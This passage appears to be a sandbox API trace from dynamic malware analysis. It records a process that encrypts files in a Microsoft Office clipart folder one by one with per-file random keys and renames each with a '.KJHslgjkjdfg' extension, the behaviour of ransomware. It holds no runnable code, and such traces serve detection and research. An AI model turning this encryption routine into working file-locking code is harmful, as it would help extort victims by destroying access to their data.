Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.kjhslgjkjdfg")) returned 1 [0158.970] CloseHandle (hObject=0x114) returned 1 [0158.970] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0158.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.971] GetProcessHeap () returned 0x2a0000 [0158.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.971] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.973] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.973] GetProcessHeap () returned 0x2a0000 [0158.973] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.974] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.974] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8fc, lpOverlapped=0x0) returned 1 [0158.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900) returned 1 [0158.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.975] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x900, lpOverlapped=0x0) returned 1 [0158.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.975] SetEndOfFile (hFile=0x114) returned 1 [0158.977] GetProcessHeap () returned 0x2a0000 [0158.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.977] GetProcessHeap () returned 0x2a0000 [0158.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.kjhslgjkjdfg")) returned 1 [0158.979] CloseHandle (hObject=0x114) returned 1 [0158.979] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0158.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.979] GetProcessHeap () returned 0x2a0000 [0158.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.980] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.982] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.982] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.982] GetProcessHeap () returned 0x2a0000 [0158.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.982] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.982] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.983] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.983] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcb4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcb4, lpOverlapped=0x0) returned 1 [0158.983] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0) returned 1 [0158.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.983] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcc0, lpOverlapped=0x0) returned 1 [0158.983] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.983] SetEndOfFile (hFile=0x114) returned 1 [0158.986] GetProcessHeap () returned 0x2a0000 [0158.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.986] GetProcessHeap () returned 0x2a0000 [0158.986] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.kjhslgjkjdfg")) returned 1 [0158.987] CloseHandle (hObject=0x114) returned 1 [0158.987] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0158.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.988] GetProcessHeap () returned 0x2a0000 [0158.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.988] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.988] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0158.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.990] GetProcessHeap () returned 0x2a0000 [0158.990] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.990] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.990] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.990] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.990] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.990] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.991] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.991] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.991] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.991] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1815, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1815, lpOverlapped=0x0) returned 1 [0158.992] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1820, dwBufLen=0x1820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1820) returned 1 [0158.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.992] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1820, lpOverlapped=0x0) returned 1 [0158.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.992] SetEndOfFile (hFile=0x114) returned 1 [0158.995] GetProcessHeap () returned 0x2a0000 [0158.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.995] GetProcessHeap () returned 0x2a0000 [0158.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.kjhslgjkjdfg")) returned 1 [0158.996] CloseHandle (hObject=0x114) returned 1 [0158.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0158.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.997] GetProcessHeap () returned 0x2a0000 [0158.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.997] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.999] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.999] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.999] GetProcessHeap () returned 0x2a0000 [0159.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.000] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x566, lpOverlapped=0x0) returned 1 [0159.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x570, dwBufLen=0x570 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x570) returned 1 [0159.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.000] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x570, lpOverlapped=0x0) returned 1 [0159.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.001] SetEndOfFile (hFile=0x114) returned 1 [0159.003] GetProcessHeap () returned 0x2a0000 [0159.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.003] GetProcessHeap () returned 0x2a0000 [0159.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.kjhslgjkjdfg")) returned 1 [0159.004] CloseHandle (hObject=0x114) returned 1 [0159.004] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0159.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.004] GetProcessHeap () returned 0x2a0000 [0159.004] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.004] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, 